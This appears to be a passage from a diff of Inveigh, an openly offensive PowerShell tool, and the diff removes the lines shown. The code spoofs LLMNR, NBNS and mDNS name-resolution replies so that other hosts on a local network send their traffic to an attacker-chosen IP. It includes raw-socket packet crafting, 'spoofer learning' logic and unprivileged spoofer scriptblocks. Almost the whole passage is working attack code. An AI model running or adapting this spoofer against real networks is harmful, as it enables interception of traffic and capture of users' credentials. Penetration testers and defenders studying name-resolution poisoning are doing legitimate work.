$NBNS_learning_destination_endpoint.Address.IPAddressToString) - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) - } - - } - - } - - if(($inveigh.valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( - !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( - !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and ( - $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and ( - $NBNSTypes -contains $NBNS_query_type) -and $destination_IP.IPAddressToString -ne $IP) - { - - if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) - { - $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) - $NBNS_send_socket.SendBufferSize = 1024 - $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) - $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) - $NBNS_send_socket.Close() - $NBNS_response_message = "- response sent" - } - else - { - $NBNS_request_ignore = $true - } - - } - else - { - - if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) - { - $NBNS_request_ignore = $true - } - elseif($NBNSTypes -notcontains $NBNS_query_type) - { - $NBNS_response_message = "- disabled NBNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" - } - elseif($NBNS_query_string.Trim() -eq '*') - { - $NBNS_response_message = "- NBSTAT request" - } - elseif($inveigh.valid_host_list -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is a valid host" - } - elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) - { - $NBNS_response_message = "- previous capture from $source_IP" - } - elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) - { - $NBNS_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" - } - elseif($source_IP -eq $IP -and !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) - { - $NBNS_response_message = "- local request" - } - elseif($destination_IP.IPAddressToString -eq $IP) - { - $NBNS_response_message = "- ResponderGuard detected and ignored" - } - else - { - $NBNS_response_message = "- something went wrong" - } - - } - - } - - if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - - } - elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) - { - [Byte[]]$NBNS_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] - $NBNS_response_IP = [System.Net.IPAddress]$NBNS_response_IP_bytes - $NBNS_response_IP = $NBNS_response_IP.IPAddressToString - - if($inveigh.valid_host_list -notcontains $NBNS_query_string) - { - $inveigh.valid_host_list.Add($NBNS_query_string) - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") - } - - } - - } - - } - - } - - 5353 # mDNS - { - - if([System.BitConverter]::ToString($payload_bytes) -like '*-00-01-80-01') - { - $UDP_length[0] += 10 - $mDNS_query_payload_bytes = $payload_bytes[(12)..($payload_bytes.Length - 5)] - $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes - $mDNS_query_string_full = $mDNS_query_string + ".local" - - $mDNS_response_data = $mDNS_query_payload_bytes + - 0x00,0x01,0x00,0x01 + - $mDNS_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - - $mDNS_response_packet = 0x14,0xe9 + - $source_port[1,0] + - $UDP_length[1,0] + - 0x00,0x00 + - $payload_bytes[0,1] + - 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + - $mDNS_response_data - - if($mDNS -eq 'Y') - { - - if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and ( - !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QU')) - { - $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $send_socket.SendTo($mDNS_response_packet,$destination_point) - $send_socket.Close() - $mDNS_response_message = "- response sent" - } - else - { - - if($mDNSTypes -notcontains 'QU') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - else - { - $mDNS_response_message = "- not spoofed due to previous capture" - } - - } - - } - - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - } - elseif([System.BitConverter]::ToString($payload_bytes) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') - { - $UDP_length[0] += 4 - $mDNS_query_payload_bytes = $payload_bytes[12..($payload_bytes[12] + 12)] - $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes - $mDNS_query_string_full = $mDNS_query_string + ".local" - - $mDNS_response_data = $mDNS_query_payload_bytes + - 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + - 0x00,0x01,0x80,0x01 + - $mDNS_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - - - $mDNS_response_packet = 0x14,0xe9 + - $source_port[1,0] + - $UDP_length[1,0] + - 0x00,0x00 + - $payload_bytes[0,1] + - 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + - $mDNS_response_data - - if($mDNS -eq 'Y') - { - - if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and ( - !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QM')) - { - $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353) - $send_socket.SendTo($mDNS_response_packet,$destination_point) - $send_socket.Close() - $mDNS_response_message = "- response sent" - } - else - { - - if($mDNSTypes -notcontains 'QM') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - else - { - $mDNS_response_message = "- not spoofed due to previous capture" - } - - } - - } - - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - } - - } - - 5355 # LLMNR - { - - if([System.BitConverter]::ToString($payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length - 3)]) -ne '00-1c') # ignore AAAA for now - { - $UDP_length[0] += $payload_bytes.Length - 2 - $LLMNR_response_data = $payload_bytes[12..$payload_bytes.Length] - - $LLMNR_response_data += $LLMNR_response_data + - $LLMNR_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - - $LLMNR_response_packet = 0x14,0xeb + - $source_port[1,0] + - $UDP_length[1,0] + - 0x00,0x00 + - $payload_bytes[0,1] + - 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + - $LLMNR_response_data - - $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) - $LLMNR_query = $LLMNR_query -replace "-00","" - - if($LLMNR_query.Length -eq 2) - { - $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) - $LLMNR_query_string = New-Object System.String($LLMNR_query) - } - else - { - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) - } - - $LLMNR_request_ignore = $false - - if($LLMNR -eq 'Y') - { - - if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $LLMNR_query_string -and $source_IP -ne $IP) - { - - if(($LLMNR_learning_log.Exists({param($s) $s -like "20* $LLMNR_query_string"}))) - { - $LLMNR_learning_queue_time = [DateTime]$LLMNR_learning_log.Find({param($s) $s -like "20* $LLMNR_query_string"}).SubString(0,19) - - if((Get-Date) -ge $LLMNR_learning_queue_time.AddMinutes($SpooferLearningInterval)) - { - $LLMNR_learning_log.RemoveAt($LLMNR_learning_log.FindIndex({param($s) $s -like "20* $LLMNR_query_string"})) - $LLMNR_learning_send = $true - } - else - { - $LLMNR_learning_send = $false - } - - } - else - { - $LLMNR_learning_send = $true - } - - if($LLMNR_learning_send) - { - $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $LLMNR_transaction_ID_bytes = $LLMNR_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_transaction_ID = $LLMNR_transaction_ID -replace " ","-" - $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient - $LLMNR_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] - - $LLMNR_request_packet = $LLMNR_transaction_ID_bytes + - 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00 + - ($LLMNR_hostname_bytes.Length - 1) + - $LLMNR_hostname_bytes + - 0x00,0x01,0x00,0x01 - - $LLMNR_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.252",5355) - $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint) - $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length) - $LLMNR_UDP_client.Close() - $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_transaction_ID $LLMNR_query_string") - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") - } - - } - - } - - if(($inveigh.valid_host_list -notcontains $LLMNR_query_string -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( - !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( - !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ( - $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and - $destination_IP.IPAddressToString -ne $IP) - { - - if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) - { - $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) - $LLMNR_send_socket.SendBufferSize = 1024 - $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) - $LLMNR_send_socket.Close() - $LLMNR_response_message = "- response sent" - } - else - { - $LLMNR_request_ignore = $true - } - - } - else - { - - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $LLMNR_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $LLMNR_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.valid_host_list -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is a valid host" - } - elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) - { - $LLMNR_response_message = "- previous capture from $source_IP" - } - elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) - { - $LLMNR_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" - } - elseif($destination_IP.IPAddressToString -eq $IP) - { - $LLMNR_response_message = "- ResponderGuard detected and ignored" - } - else - { - $LLMNR_response_message = "- something went wrong" - } - - } - - } - - if(!$LLMNR_request_ignore) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - - } - - } - - } - - } - - switch($endpoint_source_port) - { - - 5355 # LLMNR Response - { - - if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) - { - $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes[12] + 13)]) - $LLMNR_query = $LLMNR_query -replace "-00","" - - if($LLMNR_query.Length -eq 2) - { - $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) - $LLMNR_query_string = New-Object System.String($LLMNR_query) - } - else - { - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) - } - - [Byte[]]$LLMNR_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] - $LLMNR_response_IP = [System.Net.IPAddress]$LLMNR_response_IP_bytes - $LLMNR_response_IP = $LLMNR_response_IP.IPAddressToString - - if($inveigh.valid_host_list -notcontains $LLMNR_query_string) - { - $inveigh.valid_host_list.Add($LLMNR_query_string) - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") - } - - } - - } - - } - - } - - } - - } - - } - - $binary_reader.Close() - $memory_stream.Dispose() - $memory_stream.Close() -} - -# Unprivileged LLMNR Spoofer ScriptBlock -$LLMNR_spoofer_scriptblock = -{ - param ($Inspect,$LLMNR_response_message,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$LLMNRTTL) - - $LLMNR_running = $true - $LLMNR_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5355) - - try - { - $LLMNR_UDP_client = New-Object System.Net.Sockets.UdpClient 5355 - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") - $LLMNR_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") - } - - } - - $LLMNR_multicast_group = [IPAddress]"224.0.0.252" - $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) - $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 - $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) - [Array]::Reverse($LLMNR_TTL_bytes) - - while($inveigh.running -and $LLMNR_running) - { - - try - { - $LLMNR_request_data = $LLMNR_UDP_client.Receive([Ref]$LLMNR_listener_endpoint) - } - catch - { - $LLMNR_UDP_client.Close() - $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 - $LLMNR_multicast_group = [IPAddress]"224.0.0.252" - $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) - $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 - } - - if($LLMNR_request_data -and [System.BitConverter]::ToString($LLMNR_request_data[($LLMNR_request_data.Length - 4)..($LLMNR_request_data.Length - 3)]) -ne '00-1c') # ignore AAAA for now - { - - $LLMNR_response_packet = $LLMNR_request_data[0,1] + - 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + - $LLMNR_request_data[12..$LLMNR_request_data.Length] + - $LLMNR_request_data[12..$LLMNR_request_data.Length] + - $LLMNR_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - - $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) - $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString - - if(!$Inspect -and ($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( - !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) - { - $LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port) - $LLMNR_UDP_client.Connect($LLMNR_destination_endpoint) - $LLMNR_UDP_client.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) - $LLMNR_UDP_client.Close() - $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 - $LLMNR_multicast_group = [IPAddress]"224.0.0.252" - $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) - $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 - $LLMNR_response_message = "- response sent" - } - else - { - - if($Inspect) - { - $LLMNR_response_message = "- inspect only" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $LLMNR_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $LLMNR_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $LLMNR_response_message = "- previous capture from $source_IP" - } - else - { - $LLMNR_response_message = "- something went wrong" - } - - } - - if($LLMNR_request_data) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - - } - - $LLMNR_request_data = "" - } - - } - - $LLMNR_UDP_client.Close() - } - -# Unprivileged mDNS Spoofer ScriptBlock -$mDNS_spoofer_scriptblock = -{ - param ($Inspect,$mDNS_response_message,$mDNSTTL,$mDNSTypes,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore) - - $mDNS_running = $true - $mDNS_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5353) - - try - { - $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient 5353 - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") - $mDNS_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") - } - - } - - $mDNS_multicast_group = [IPAddress]"224.0.0.251" - $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) - $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) - [Array]::Reverse($mDNS_TTL_bytes) - - while($inveigh.running -and $mDNS_running) - { - - try - { - $mDNS_request_data = $mDNS_UDP_client.Receive([Ref]$mDNS_listener_endpoint) - } - catch - { - $mDNS_UDP_client.Close() - $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 - $mDNS_multicast_group = [IPAddress]"224.0.0.251" - $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) - $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - } - - if([System.BitConverter]::ToString($mDNS_request_data) -like '*-00-01-80-01') - { - $mDNS_response_packet = $mDNS_request_data[0,1] + - 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + - $mDNS_request_data[12..($mDNS_request_data.Length - 5)] + - 0x00,0x01,0x00,0x01 + - $mDNS_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - - $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data - $mDNS_query_string_full = $mDNS_query_string + ".local" - $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString - - if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( - !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( - $mDNSTypes -contains 'QU') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) - { - $mDNS_destination_endpoint = New-Object Net.IPEndpoint($mDNS_listener_endpoint.Address,$mDNS_listener_endpoint.Port) - $mDNS_UDP_client.Connect($mDNS_destination_endpoint) - $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) - $mDNS_UDP_client.Close() - $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 - $mDNS_multicast_group = [IPAddress]"224.0.0.251" - $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) - $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - $mDNS_response_message = "- response sent" - } - else - { - - if($Inspect) - { - $mDNS_response_message = "- inspect only" - } - elseif($mDNSTypes -notcontains 'QU') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.IP_capture_list -contains $source_IP) - { - $mDNS_response_message = "- previous capture from $source_IP" - } - else - { - $mDNS_response_message = "- something went wrong" - } - - } - - if($mDNS_request_data) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for 